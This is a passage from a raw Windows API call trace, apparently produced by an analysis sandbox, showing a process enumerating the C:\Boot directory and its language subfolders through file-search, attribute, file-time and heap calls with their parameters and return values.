ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3870 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aebf8 [0225.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.866] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3890 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeb70 [0225.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0225.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.867] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.867] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.867] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0225.867] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0225.868] GetLastError () returned 0x12 [0225.868] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd520 [0225.868] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0225.868] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.868] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0225.868] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0225.868] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0225.868] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0225.868] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0225.868] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0225.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.868] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0225.948] CreateFileW (lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0225.948] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0225.948] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0225.948] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0225.948] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0225.948] NtClose (Handle=0x1ac) returned 0x0 [0225.948] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.948] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.948] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0225.948] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0225.949] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0225.949] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.950] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0225.950] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0225.950] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0225.950] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0225.950] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0225.950] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0225.950] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f38b0 [0225.950] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae950 [0225.950] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0225.950] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0225.950] GetLastError () returned 0x12 [0225.950] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 